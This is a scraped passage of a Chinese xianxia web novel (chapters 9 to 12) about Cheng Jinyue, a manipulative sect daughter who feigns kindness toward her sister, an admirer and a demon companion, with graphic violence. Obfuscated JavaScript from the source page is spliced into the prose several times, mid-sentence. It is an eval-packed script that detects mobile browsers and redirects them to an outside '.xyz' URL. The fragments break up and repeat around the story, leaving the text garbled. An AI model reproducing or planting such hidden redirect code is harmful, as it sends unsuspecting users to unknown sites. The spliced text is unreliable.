“神女殿下,没必要忍耐了,拔出你的剑把他杀了吧,这样恶心的人,连我都看不上。” “哦,应该是让你那条狗为你杀,神女殿下的手怎么能沾上血呢?” 怀钰的话很密,不禁让程今越轻微皱了一下眉。 光是这样一点小动作,宁志业便吓得半死,他浑身打了一个颤,吓得哭了出来,他涕泪纵横,发了疯地求饶,一点脸面都不顾了,他朝程今越猛地磕头,额头上迅速变得鲜血淋漓。 “别这样。”她终于说话了。 她低头俯视着宁志业,声音缓缓,“这件事,宁公子确实有些过分了。” “但是——我并不喜欢看到杀戮之事,此次之后,宁公子可千万不要这样了。” “我希望大家都能好好的,好吗?” 孟朝瞬间变了脸,不敢置信地看着程今越,“三小姐!”,但随后他又愤愤地低下了头。 三小姐从来都是一个极为善良的人,她又怎么会去做杀人的事情呢?这样做才是三小姐的性格。 而自己呢?自己竟然在逼一个菩萨一般的人去杀人! 孟朝狠狠喘着气,心中又是气愤,但又是愧疚,百感交集,让他手上布满青筋。 宁志业破涕为笑,一张脸上全是恶心的液体,大吼大叫地,仿佛犯了病。 众人叹了气,居然这件事情就这样结束了,都没怎么见血,实在是太没意思了。 随后却看见程今越轻轻抬眉,继续说,“孟朝这样打你,也是他的不对,又怎么能够随意出手呢。” “这是三颗还魂丹,你且拿去用吧。”程今越伸出手,三颗丹药放在她洁白的手中,泛着光,落到宁志业面前。 众人皆大惊,这还魂丹可是万金难求的灵药,包治百病,还能滋养修养,能拿出还魂丹的,必然是身份极其尊贵之人。 便是在大衍剑宗的药房之中,也是不可多得的好物。 可不是都说程今越只是一个不得宠的小姐吗?她怎么拿到这样好的东西! 大家心中瞬间分明,就算是不得宠的小姐,那也是大衍剑宗的三小姐,这样的丹药对于她来说,也是如寻常丹药一般,随手可抛的,竟然会送给宁志业这样的废物,而且一出手便是三颗! 程今越果真如传闻一般善良,竟然连辱骂自己的人都能够原谅,还能够以德报怨,有的人无比佩服,有的人不理解程今越为何如此愚善而软弱。 “你疯了吗,程今越,我看你是做神女做疯了,放过了这个烂货?”怀钰难以置信还带着怒意的声音在程今越耳朵里响起。 “放过欺辱自己的人,可别人不一定会放过你,你真是个蠢货!” “蠢货!蠢货!蠢货!” …… 吵得要死,程今越掐断了与怀钰的灵力沟通。 程今越仿佛没有看到他人震惊的目光,也仿佛没有听到宁志业发了疯地磕头道谢声,她继续说,“大家也知道,我与孟朝公子相交甚好,既然他出手伤了你,我便替他向你赔罪了,还望宁公子海涵。” 孟朝顿时抬头,盯着程今越,只是沉沉地呼吸着,心中有一万句话想开口,可最终被酸涩的感觉堵住了喉咙。 明明是他做的事情,三小姐却还为他出头。 孟朝一直都是个聪明人,他知道,程今越这样无非是在告诉别人,他孟朝的背后是大衍剑宗的三小姐,若是有谁再想来欺辱他,也要看看三小姐的脸色。 而自己呢?总是冲动,总是为三小姐惹事生非! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我是他的亲妹妹,是大衍剑宗的三小姐,他又敢对我做什么呢?”程今越笑着说,话语中带着抚慰。 “孟朝公子,你是个很好的人,我不想看到你受伤。”程今越的声音柔柔,一点一点传到孟朝的耳朵里。 孟朝浑身紧绷,他死死地低着头,眼眸之中不知为何有些氤氲。 “三小姐,我自幼习武,这都是小伤,不算什么,过段时间我自己就能好,我真的不需要这些丹药的。” 孟朝拼了命地摇头。 三小姐是个很善良的人,她说话从来不加掩饰,总是想到什么便说什么了。 而孟朝虽然人高马大,但学的礼仪和规矩都是要让他学会循规蹈矩,学会隐晦而朦胧地说话。 所以这样直白的话语,总是让他浑身一颤。 三小姐在外生活的十几年,定然是被保护得很好,总是这样单纯而直接,不染尘埃,像他去过最巍峨的雪山,见过最干净的湖水。 这样好的三小姐,孟朝定然不会让她有一丝受伤的机会的。 程今越听到孟朝的拒绝,眉头微微蹙起,“那便让我看看你的伤,若是真的不重,那我也好放心。” 孟朝原本就微红的耳根瞬间红得滴血,他甚至觉得自己的脖子都跟着一起在发烫。 不过好在他自幼习武,经历风吹雨打,肤色并不算白,所以三小姐应该不会发现吧? 9.第九章 他连忙摇头拒绝。 他的左腿断了,五脏六腑皆出血,若是掀开衣服,便看不到一处好的肌肤,他怎么敢给三小姐看,怎么敢让三小姐担心。 这样的拒绝更无疑是在说明孟朝身上的伤有多重。 孟朝还在思索着要如何回答,却听到微微的啜泣声。 他呆愣地抬眸,却看见程今越盈盈的眼眸里闪着泪水,她眼尾微红,眉头轻蹙。 孟朝顿时不知如何是好,他想要张口安慰,却不知如何开口;他想要伸手抹掉程今越眼角的泪,却没有这个资格。 他顿时慌张失措,“三小姐……我……” 程今越微微拭去眼角的泪,“孟朝公子,今越十分希望你能好起来,不单单是因为孟朝公子。” “如果孟朝公子身体很好,那司医宫我收养的孩子们就有了一个很好的老师;渡生宫那么多小猫,便有了喂它吃饭的善人;练心宫的平民子弟,也有一个憧憬而向往的目标,有一个能为他们遮挡风雨的大伞。” “所以,孟朝公子,你不仅仅是你一个人。” “所以,你一定要好好的。” 程今越缓缓地说着,像雨一般落在孟朝的心中。 三小姐从不只是一个愚善的人,她的记性很好,她的心中有很多人和事,她永远饱含着善意和温柔。 孟朝看了一眼程今越饱含希望的眼,最后收下了她的药。 他感激又担心,如果自己真的给程今越带来了麻烦又怎么办? 可程今越好像是看懂了孟朝心中的想法,她说,“如果程望真的来欺负我,你就赶紧好起来帮我吧。” 她说完又顿了顿,“你会来帮我的吧?” 她低下头,歪着脑袋看着孟朝低下的脸。 那双灵动的眼睛映入孟朝眼帘。 孟朝哽咽着,“当然,无论如何我都会帮三小姐的。” 就像程今越当时,义无反顾地帮助他一般。 那时孟朝认识程今越的时候,对她并没有太多的印象。 直到他渐渐发现这位高贵的三小姐一直在默默地帮他。 孟朝最初不懂,毕竟自己只是一个平民出身的人,出身如此低劣,便是普通的弟子也不会多和他说一句话。 后来他才知道,三小姐是刚被认回来,刚刚回到宗门,此前一直生活在人界。 三小姐对他说,“孟朝公子,我很看好你,你会成为一个很厉害的人的。” 所以孟朝拼了命地往上爬,他不能浪费三小姐在他身上花的药材和功法,他一直都知道,这是一个需要回报的投资。 可让孟朝意外的是,三小姐似乎并不想要他的回报。 他也不是那个特殊的人,像他这样有资质的平民,三小姐无偿帮助了许多。 从不知道什么时候开始,孟朝的心里已经暗暗做下了决定。 他愿意为了三小姐去死。 * 切断神识联系之后,怀钰一整天都不见,程今越也懒得管,没有这双眼睛在她正好做事。 直到程今越要睡觉之前,突然感受到浓烈的血腥味,有一双大手死死地掐住她的喉咙,让她无法呼吸。 她顿时睁开眼睛,满身是血的鬼影霸占了她大半的视野。 是怀钰。 太近了,她甚至能感受到他的呼吸声。 怀钰一身戾气,白皙的脸上沾了许多的血,阴鸷的笑让程今越浑身一抖。 他压在程今越的身上,眼底是森寒而凌冽,如刀片一样刮在她身上。 程今越浑身疼痛。 他又在发什么疯? 近乎凶狠的力道之下,窒息的感觉逐渐席卷而来,她的喉咙艰难地吞咽,发出破碎而喑哑的声音。 程今越心脏跳得极快,她双眼瞪大,死死看着怀钰,盈盈的眼眸突然红了起来,汩汩的泪水从她的眼眸中流出。 怀钰看着她的泪水,越发兴奋,不知为何有一种快感。 这是他期待已久的,看见神女落泪的场景了。 在死亡面前,高高在上的神女也会向她落泪求饶。 他想仔细看清程今越的泪,于是他又低下头,像看猎物一般看着她。 怀钰的鼻尖几乎要触到程今越,急促的呼吸彼此都能听见。 在程今越还有一口气就要晕过去的时候,怀钰松开了手,他想听程今越是如何求饶的。 程今越瞬间得以呼吸,她用手捂着自己的胸口,猛烈地呼吸着,脸因为无法呼吸变得有些病态的红。 怀钰低头看着她,脸上还带着未干的血,笑容诡谲。 屋内一片寂静,只能听见程今越呼吸的声音。 随着呼吸声逐渐平稳,怀钰的心脏频率却越来越快,他好期待,好期待! 他看见程今越轻轻抬头,她死死地看着他,仰起细嫩的脖颈,眼中的泪水瞬间滚落下来,苍白又羸弱。 她终于开了口,“怀钰,你受伤了吗?”她轻轻地问。 怀钰突然冷笑,没料到程今越会说这样的话,他气笑了,“我怎么可能受伤,你以为谁都跟你一样废物吗?” 程今越突然站起来,将怀钰一把搂入怀中,泪水滚滚而下,将怀钰本就染血的衣裳再次打湿,“那就好,那就好……” “我看到你身上全是血,我还以为……我还以为……” 哭泣的呜咽声从怀钰的怀中传来,在灯光微弱的房间里回荡着。 怀钰感受着怀中的温暖,突然失了神。 他突然忘记了自己是来杀程今越的。 程今越对他来讲是个过于特殊的存在,她不畏惧他的威压,不害怕他的过往,不惊恐他的行为,她甚至还能为他解开封印,还说要爱他! 理智告诉怀钰,程今越必须死。 反正他什么都没有,什么血契的约束他也根本不在乎,从来都只有孤身一人。 大不了就和程今越一起死了,又如何呢? 更何况,他好像根本死不了。 怀钰还在发愣,怀中的程今越哽咽着说话。 “我好害怕你受伤了,好害怕你衣服上的血都是你的,好害怕,失去你……” 程今越忍不住地哭,泪水像雨一般落下,让怀钰胸口变得潮湿。 怀钰浑身一愣。 程今越在做什么? 自己是来杀她的,她感受不到自己的杀意吗?他不信! “自然是他人的血,当然不会是我的。” “现在害怕了?是不是有些晚了。”怀钰冷冷一笑。 程今越轻轻摇摇头。 她当然知道不是怀钰的血,她早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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当他的大脑已经成了一片模糊血肉之后,对方又一刀一刀戳进他的肚子里,肠子散落一地。 可他还是没有死,疼痛仍然伴随着他。 “去死,去死,去死,去死!” “哈哈哈哈哈哈哈!” 怀钰杀过很多人,但这是他第一次从杀戮中获取这么大的快意,真奇怪呢。 程今越回想着,一边伸手去摸怀钰的脸。 好乖啊,这还超出了她的预期,其实就算怀钰不动手,宁志业也会被她杀死。 这证明她最近的努力是有用的呢。 “以后这些事可以告诉我吗,我很担心你。” 程今越冰凉的手落在他的脸上,他浑身一怔,整个人瞬间滚烫起来,他整个大脑变得空白,随后他反应过来了什么,又瞬间拍开程今越的手。 “别碰我!” 他看宁志业那群人怎么都不顺眼,程今越能忍得下那口气,他可忍不下。 不,不是为了程今越,跟她有什么关系? 他只是需要吃人,所以就吃了,仅此而已。 怀钰听着程今越的话,又将心中的怨气一股脑说了出来,“告诉你?凭什么?” “我只有你一个了,怀钰。” “没有你,我该怎么办呢?” 程今越眨着眼眸。 10.第十章 怀钰的心缓缓颤抖,他眉头皱着,程今越的话在他脑海里过了无数遍,他理解了无数次,最终他还是一脸懵。 “撒谎。” “你可以依靠的那么多,孟朝不就是你的忠诚的狗吗,我算什么?” “我不过是个众人厌恶的魔,我会随时杀了你。” 他笑着,不理解地看着程今越。 “因为我爱你啊,怀钰。” “因为我们是同类,是同伴,是亲人,是相互依靠的人,我不是说过吗?” “我需要你,我依赖你,如果没有你帮我,现在谁来帮我呢?” 程今越又伸手去摸他的脸,怀钰却忍不住后退。 好像有什么东西发疯似的从他的毛孔中肆无忌惮地进去,让他浑身的血液变得滚烫,他听到自己的心在狂跳。 被需要? 他吗? 他不应该一直会被人厌恶与抛弃吗? 他突然觉得一片漆黑的夜里,有一盏红烛燃烧,火焰鲜艳如生命。 那流下来的蜡十分滚烫,滴在他的心上,疼痛清晰。 而痛让他更清晰地感知到自己还活着。 他没有说话,怀钰感觉程今越应该是在骗他的,他清楚地知道自己不值得。 但他此刻不想去管了。 愣了片刻,他随后说。 “那今日是谁掐断了和我的神识联系?” 他明明那么真心实意地跟程今越说话,可程今越瞬间切断了联系。 其实那时怀钰是可以用自己的法力再次强行连上的,可他的心中却瞬间燃起不满。 明明是程今越主动断开的,他为什么要主动连上! 所以怀钰越想越气,明明是程今越在求他做事,可她却这个态度。 他一直在等程今越重新连接他们的灵识,但他等了一天,她都没有这样做! 怀钰只有一个念头,他想杀了程今越,就在今晚。 可真的当他要掐死程今越的时候,他却不知道为何止住了。 程今越心中冷笑。 就因为这个? 程今越拿出自己的帕子,轻轻伸出手,将怀钰脸上的血一点点擦干净,随后将怀钰抱在怀里。 “对不起,怀钰,是我不好。” “你知道,我的灵根太低劣了,和你一直保持灵识交流,会让我有些支撑不住。” “我会努力修炼,以后和你保持联系更久的。” 她在怀钰耳边低声细语着,像是母亲睡觉前给孩子唱的童谣,让人昏昏欲睡,沉迷其中。 “谁想跟你一直保持灵识交流,废物,少在这里自以为是。” 怀钰冷冷一笑,猛地推开程今越。 “不过我们的神女大人可真是心善呢,以德报怨,连宁志业这种坏人也愿意去救。” “出手倒也是大方,这样贵的丹药随手就给。” 他看着程今越,眸间全然是嘲讽。 “我倒想看看你是怎么被自己害死的,蠢货。” 大方吗? 反正又不是她的丹药。 程蕴知那里要多少有多少。 “坏吗?” “世上没有绝对的好坏之分,不是吗?” “我相信只要有人愿意爱他,那个人都会变成好人的。” 程今越笑着,她静静地坐在床上,梳着被怀钰弄乱的头发。 “是吗,可宁志业还没来得及变好,就已经死了。” 程今越瞬间惊讶地抬头,眼中的泪水又要涌出,“宁公子,死了?” 可怀钰瞬间伸手将程今越眼角的泪拭去,厉声道,“不许哭!” 程今越在怀钰的逼迫下,呜咽着收了泪。 “还是我太弱了,没有办法。” 程今越紧紧地握住了自己的手。 “这一切都是因为我太弱造成了,如果不是……” 怀钰瞬间止住程今越多话,他突然玩味地问,“弱吗?我倒不觉得呢。” “你虽然灵根这么差劲,但是恢复倒是挺快的,明明前几日失了那么多血,今天一下子就好起来了。” 程今越眼皮微微一颤。 他发现了? 程今越想要说什么,怀钰却接着开口。 “哼,我知道,是见了你的小情人,那个什么孟朝,你才好这么快的吧。” 怀钰盯着程今越的眼睛,嘲讽地笑,“三小姐找的炉鼎——孟朝公子,真的有那么好用吗?” 程今越差点笑出了声,她还以为被发现了,原来只是因为这个呢。 “不是很好用呢,还是差了一些,不过我现在已经找到更好的了。” 怀钰听到这话,不知为何,心中好像突然被堵住了一般,他浑身的怒意又燃起来,下一秒好像就要炸开,“是啊,像你这么低劣的天赋,当然也只能靠这种法子了,真让人恶心啊。” 除了孟朝那一条狗,程今越都不知道还养了多少只! “已经很晚了,我们先睡觉吧,怀钰。”程今越笑盈盈看着怀钰。 程今越又不理会他的问题,怀钰浑身的戾气散开,不加掩饰。 为什么不回击他,真恶心,真烂,真蠢,真让人讨厌! 程今越轻轻走近怀钰,踮起脚,将手放在怀钰的头上,纤细的手指插入他的发间,从他的头顶慢慢移至脑后,怀钰的头发柔顺又细腻,总让程今越想起来她养过的一条狗。 “以后有怀钰帮我,我怎么会去做那些事情呢,对吧?” 她说着话,引诱着,在怀钰的耳边。 她先是闻到怀钰身上灵根的气息,强大,散发着让人难以抵抗的气息。 这是跟其他人都不同的气息,碾压了其他所有蝼蚁。 强大的力量总是让人痴迷,就像此刻,程今越笑着,痴迷着看着怀钰。 怀钰灵根的味道是什么样子呢?和其他废物一样吗? 程今越快要控制不住自己的欲望。 她实在是太爱怀钰了。 恨不得此刻就将他一点一点吃干抹净。 她压下心中的激动,压下那猛烈的呼吸,压下喉咙中滚动着的涎水。 但她必须要克制着,这样适配她的灵根,要好好滋养着,要慢慢将怀钰的灵根沾染上她的气息。 这样,这幅灵根换到她身上的时候,她才很快能适应。 冷静下来之后,她才反应过来,怀钰头发的香味,好像有些熟悉,貌似和自己刚换的洗珠味道相同。 她喜欢怀钰身上沾染上属于她的气息,这表明这是她的猎物。 她凑得更近,想要闻一闻怀钰身上的味道。 却突然被怔住的怀钰推开,再睁眼时,怀钰已经消失不见。 实在是太可惜了。 程今越感受着鼻间的气息,深深地吸了一口,眷恋地,痴迷地。 要更快一些,她已经快要等不及了。 * 第二天一早,程今越用饭时,她的侍女又在一旁说着话。 程今越吃得比平时都要慢,或许是因为她想听这个活泼开朗的侍女多说一些话,又或许是在等着什么。 “三小姐,孟朝公子去教阿年还有那群孩子功法了。” “孟朝公子也算是知恩图报,不枉三小姐以前那样帮衬他。” “如今孟朝公子也算是混出头了,算是一个人物了,意气风发,天赋异禀,正直又上进,三小姐你可知道,剑宗里面有多少姑娘喜欢他。” 程今越点点头,脑海里先想起了孟朝的那一根极佳的灵根,随后便回忆起了他的那一张脸。 可惜,比怀钰的还是差一些,而且和她的不算匹配。 “只可惜……我们长公子总是嫉妒孟朝公子……” “住嘴。” 程今越少有地冷冷地盯着人,让说话的侍女浑身打了个颤,瞬间低了头,毕恭毕敬。 她有些心不在焉,想了想便吩咐了一句话,“你去告诉阿年,后日我便去考察他的功法。” 程今越本来胃口还不错,想要多吃两口,此刻却听到门外传来急促的脚步声,熟悉的气息传来,她刚升起来的好心情便瞬间落了下来。 程今越转身就要往身后走,却被一道声音喝止。 “程今越,你给我站住!” 程今越笑着转过头,朝面前的人轻轻作揖,“长公子好。” 程望身后跟了几个人,他漫不经心地看着程今越。 他穿着一身华贵的衣服,眉眼上挑,带着些戾气,嘴角带着的笑显得有几分暴虐。 程望走到程今越跟前,没有说一句话,只是低头俯视着她。 只是眨眼间,他从腰间拔出一把长剑,方才说话的侍女的头颅便被砍了下来,汩汩地血流在地上,头颅滚到了程今越的脚下。 还没有等所有人反应过来。 随着一声冷哼,一个狠戾的巴掌从空中落下,狠狠地打在程今越的脸上,吓得周围所有人都不敢说话。 力道之大,让程今越直接被扇倒在地上,苍白的脸上露出一道鲜红的印子,嘴角流出鲜红的血。 其余的侍女吓得魂魄都飞了,哪里见过这样的场面,一度哑了声,瘫倒在地上。 “敢问长公子,今越做错了什么。” 程今越抬头,眼泪缓缓地从眼眸中流出,眼睛通红。 程望低头看着程今越,眼眸中是掩盖不住的怒气,他抓住程今越的脖子,一把把她抓起来,狰狞的面容宛如从地狱爬出来的恶鬼,“你在装什么啊程今越?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程望两只手被死死束缚住,他用尽了浑身的力气挣扎着,想要摆脱,但是犹如蜉蝣撼大树,他根本不是这些人的对手。 “你们放开我,我是长公子,你们都瞎了吗?一群蠢奴才,我要杀了你们!” 身后的几人完全没有放手的迹象,依旧死死地钳住程望。 “长公子,我们只听从大小姐的吩咐,恕我们难以从命。” 程蕴知连忙上前,将程今越从地上扶起来。 程今越身上都是血,脸色苍白得如死人一般,手上青肿,一头黑色的长发散落在地上,鲜血显得触目惊心。 程蕴知看着程今越这般模样,眼泪忍不住从眼眶中涌出,愤愤地又回头瞪了一眼程望,“程望我看你真的是疯了!” 她一边骂着,一边将随身带的药喂进程今越的嘴里,又连忙唤了随从里的医修,一同为程今越疗着伤。 程今越头很痛,她觉得呼吸越来越沉重,随着灵气逐渐输入她的体内,她才缓缓睁开眼睛。 一睁眼,她便看见泪眼婆娑的程蕴知。 程今越有些愣住了,怎么是她? 随即她便感受着口中的丹药。 这是用天地混沌之初生长的鸿蒙圣果,搭配上长于九幽阴寒之地的冥藤,用极阳真火炙烤三百年,最终吸收月华之力两百年,才能制成的太初丹,可让人起死回生,千金不换。 她程今越,竟然也能用这样的丹药? 她抬头往身后望去,在一群随从中,才看到那个气喘吁吁,慢程蕴知赶到一步的人。 孟朝。 孟朝紧攥住双拳,指节泛白,骨节咯咯作响,目光死死盯着程今越,看着她身上的伤,呼吸不断变得急促,眼中的怒火几近将眼眶烧穿。 他现在就想冲上去把程望这个畜生杀了,却被人拉住了,对方向他缓缓地摇头,将他从连忙拉离这个是非之地。 冷静,隐忍,这样的日子还要过多久呢? “程蕴知,你居然为了这个废物打我?你胆子真是越来越大了!”程望拼命挣扎着,朝着程蕴知大吼大叫着。 程蕴知冷冷地看着程望,眼眸微微垂下,眼中是藏不住的怒火,“我不知道你什么时候变成这个样子了,今越明明是我们的妹妹,你却对她这样,你真的是畜生,你不配当大衍剑宗的长公子,不配当我的哥哥!” 程望听着程蕴知的话,又诡异地大笑起来,“什么妹妹,她也配当我的妹妹?她就是一个灵根垃圾,毫无法力的废物,剑骨更是跟没有一样,我们大衍剑宗以卓越的剑骨闻名,她这样的天赋,也配当我的妹妹?” “程蕴知,你不嫌丢脸,我还嫌丢脸呢,你又在这里自欺欺人什么,爹哪里还有一个女儿,她分明就是不知道从哪个地方捡来的野种!” 11.第十一章 程蕴知从小被人保护得极好,连恶人都没有见过,更不提和别人吵架,听着程望的话,她气得哑了喉咙,“你知不知道你在说什么,程望!你真是个疯子,你不配当我的哥哥!” 程蕴知突然感受到自己的袖子被人扯着,她低头,发现是程今越在拉她,程今越轻轻摇了摇头,虚弱地出声,“姐姐,别为我和长公子吵了,都是今越不好,你们别吵了……” 程望趁着这个空档,又看着程蕴知,眼眸中带着嘲讽,“真是好深的姐妹情呀,不过这倒也是,你们两个现在应该挺有共同话语的,一个身受重伤,连个法术都用不出来,一个天生就是废物,哈哈哈———” 程蕴知气得浑身发抖,她走到程望面前,气愤地又给了他一巴掌,让他脸上的红色掌印显得如此对称。 “那又如何?” “脸疼不疼?就是你口中的废物打的。” 程蕴知生下来就是大衍剑宗的大小姐,彼时的天赋可谓是世间第一等,被所有人寄予众望,所有的人都只能仰望她,她天生傲骨,是被捧在手心里的明珠,就算是重伤之后,也从来没有受过这样的委屈。 “程望,你又在这里嚣张什么?除了仗势欺人,你又会做什么呢?” “我要告诉爹爹和娘亲!” “你给我等着,你给我等着!” “程望!你给我等着!” 程蕴知的声音尖锐,她气得发疯。 两人吵得不可开交,程今越的意识已经渐渐模糊,开始听不清两人的对话, 当她再次醒来的时候,眼前已经变成了陌生的装横。 她看着盖在自己身上的被子,瞬间明白了自己现在在什么地方。 “大小姐,大小姐——,三小姐醒了!”见到程今越坐起身,一旁的侍女便大声唤着程蕴知。 程蕴知惊喜地靠在程今越多床边,拉着她的手,“别坐起来,快躺下!” 程今越一眼便注意到程蕴知眼睛泛着红,显然是哭过,她伸出手,轻轻地抚摸着程蕴知的眼眸,“姐姐,别为我难过了,我没事的。” 她柔柔地笑着,拉着程蕴知的手。 程蕴知吸了吸鼻子,不想让程今越知道自己哭过,自己作为姐姐,怎么能在妹妹面前露出这样的表情呢! 她换了一副表情,“谁让那个畜生欺负你,真是气死我了!” 她眉间全是怒气,随后又眼眸一转,“不过你别怕,我已经给爹爹娘亲告状了,从今天开始,你就住在天极宫,有我保护你,我看谁敢欺负你!” 不说话一说完,程蕴知又想起来什么,眉间依旧带着一丝忧愁,但很快又散去。 虽然只是细小的动作,却被程今越仔仔细细地看在眼里。 “姐姐,你不用因为我和哥哥把关系弄僵,哥哥如今正值年少气盛的年纪,就是有些冲动,我之前不懂事,没有听哥哥的话,才会招惹了他,一切都怪我,你不要再气恼了。” “更何况……哥哥说得也没有错,我的确是个被爹爹从外面捡回来的野孩子,只算个庶出的女子,也没有继承爹爹的天赋,给大衍剑宗丢脸了。” 程蕴知刚要愤愤地说话,却又被程今越打断。 程今越顿了顿,泪眼婆娑,两行清泪从眼角流出,眼角殷红,在一张瓷白的脸上显得楚楚可怜,“但是哥哥今天,的确是有些过分,他怎么能这样说姐姐你……” “姐姐明明只是受了伤,又不是不会好,他却偏偏说在姐姐的痛楚之中,实在是可恨!” 程蕴知看着程今越的眼泪,心都要化了,连忙用着手帕给程今越拭泪。 “小妹,你为何总是这样善良,总是为别人着想,你这样的性子,最容易受别人欺负!” “小妹,你以后不要这样了,姐姐不想要看到你受委屈,下一次你一定要还手,姐姐会给你撑腰,你别怕!” 程今越低垂着眸,温顺着点了点头,程蕴知坐在程今越多床上,将程今越抱在怀里,她的小妹身上是这样的凉,身子那么瘦一点,全身都是伤,程蕴知的手甚至不敢用力抱住程今越。 程望这个畜生,竟然能狠下心来去打她,而她的小妹还要他给说话! 凭什么她这么好的小妹总是被人欺负,凭什么父母……好像也不太关心她? 程蕴知之所以眉间带了愁绪,是因为今天她去找爹爹娘亲告状的时候,他们的态度,跟她想的有些不一样。 程蕴知放走了程望,气冲冲地赶到她娘亲的屋子里,她的爹爹很忙,所以她只好来找娘亲。 李从霜看着怒气腾腾的程蕴知,心中一顿诧异,连忙放下手中的事情,拉着程蕴知的手,“我的小心肝,谁惹你生气了?” 程蕴知气得将屋子里的瓷器全部砸了,一边哭着,一边把今天的事情告诉了李从霜。 屋内一片狼藉,吓得李从霜连忙抱紧了自己的宝贝女儿。 “程望真是越来越无法无天,竟然敢这样说你,我真得给他一个好好的教训!”李从霜皱着眉,眉眼中满是愁绪。 她对程望过于溺爱,没想到现在竟然成了这副模样,竟然还对自己的亲妹妹口出狂言。 若不是蕴知生了病受了伤,又怎么会不能用灵力,明明她的蕴知还小的时候,天赋可谓是世间第一等! 不过倒也没关系,蕴知的伤也快好了…… 她这才想起来程今越,“你今越妹妹还好吗?” 程蕴知猛然抬头,眼中满是诧异和疑惑,“娘,我方才不是一直在说妹妹的伤势嘛,她都被程望那个畜生打成那样了!” 程蕴知明明从进来的时候就开始说程今越的伤势如何严重,她声泪俱下,气得表情都无法控制,结果她的娘亲竟然一句话都没有听见。 “别乱说话,什么畜生不畜生的,那是你的亲哥哥!”李从霜握住程蕴知的手,眉头皱着,“我会和你哥哥好好说的,你别气恼了。” “程望是我的亲哥哥,今越难道不是我的亲妹妹吗?娘,你可真偏心!”程蕴知一把撒开李从霜的手,转过身去,不敢相信这样的话是从疼她爱她的母亲嘴里说出来的。 在程蕴知的记忆中,娘亲温柔善良,如今怎么会变成这样? 眼泪大颗大颗地从程蕴知的眼睛里落出来,越想到程今越的可怜,便越憎恨程望,越愤恨娘亲的不公。 这跟她想的不一样,明明受欺负的是程今越,明明是她! 李从霜见程蕴知如此大的反应,心中一晃神,她的蕴知从来都是温柔懂事,怎么今天变得这样敏感,一定是程今越在她耳边说了什么,才让她的两个孩子反目成仇。 她就知道让一个外人进来大衍剑宗不是什么好事,还是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673665|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个满是心机的女人。 李从霜顿时软了嗓音,“蕴知别哭了,你哥哥我定会给他一个教训,你去找最好的医师给今越疗伤,之后我也会去看她的,这样可好?” 李从霜笑着安抚着程蕴知,一边脑海中浮现出程今越的模样,眼眸中闪出一抹厌恶。 她始终不是自己家的人,始终都是个隐患。 等蕴知的病一好,立马就把她杀了。 程蕴知低着头,她想说很多话,但又不知道该如何说自己的这份感情,她很难过,好像有一团湿棉花堵在她的心口,而看到程今越的那一刻,说出的话不知为何全都变成了泪。 程蕴知抱着程今越,窝在程今越的颈窝里,将自己身上的温暖度给她。 程今越看不到程蕴知的表情,只是轻轻用手安抚着她的后背,突然她感受到自己肩膀传来一阵湿热,她听见程蕴知微微地啜泣。 她有些愣住,但她却没有说过多的话,只是默默地将程蕴知搂地更紧一点。 程今越也经常落泪,但她的泪往往都是带着目的性的。 常人落泪都是因为悲伤,因为兴奋,而程今越的泪并没有过多的感情。 她有些不懂程蕴知为什么要哭,为她而哭吗? 她有什么值得好哭的? 程今越才和程蕴知认识了多久?明明才不到三年的光景。 虽然程蕴知为她而哭是一件好事,证明她又得到了一颗心,但程今越还是有些疑惑。 这些人的感情为什么都这么好骗,说好听点是单纯,说不好听点就是蠢。 无非是说些关心的小话,给程蕴知讲了两年的故事,做了些小礼物,做了些吃食,都是些细微琐碎的小事,程蕴知便这样信任她。 她就从来没有怀疑过自己吗? 若是程蕴知知道这所有的一切,包括她的眼泪,都是程今越一手策划的时候,她又会落下怎样的泪呢? 程今越无法描述自己心中的情绪,她只是轻轻地说着。 “姐姐,别为我难过,我希望你永远开心,可以吗?” 程蕴知擦了擦眼角的泪,听见程今越的话,她突然破涕为笑,“你瞧我哭什么,搞的跟受伤的是我一样,真是的。” “你别怕小妹,我娘亲说了,我的病马上就要好了。” “吃了这么多年的药,哼哼,我终于要恢复了,到时候我要让他们好看!” 程蕴知开心地拉着程今越的手,眼眸中闪着光,“小妹,我觉得你就是我的福星,你知道吗?” “从你回家之后,我的病就在一天天好起来,遇见你是我这辈子最开心的事情!” “告诉你,其实我很强的,我的天赋可是世间第一!” “到时候,我每天都教你功法,我们天天都要出去玩,去听说书,去做手工,去逛很多灯会!” “我们要永远永远在一起!我很喜欢你!” 程今越笑着点着头,一如既往地当着程蕴知的听众,安静而沉稳。 她的眼眸看着程蕴知,但又好像透过她,在看着其他东西。 这样的日子的确很美好呢。 如果有机会的话,她也想这样。 永远吗? 可她永远不相信永远。 因为等程蕴知的病一好,离程今越的死期也就不远了。 12.第十二章 命运就是这样残忍,它对弱者更是赶尽杀绝。 摆在程今越面前的其实只有一条路,那就是以杀止杀,以恶止恶。 她别无选择。 她本来还想慢一点,再扎实一点,但是时间好像不允许了。 在珍馐佳肴,稀有灵药的几日滋养下,程今越的身子好得还算快。 如今快到家宴的时间,程今越站在程蕴知的屋内,站在铜镜之前,任由其余的侍女在她身上装扮。 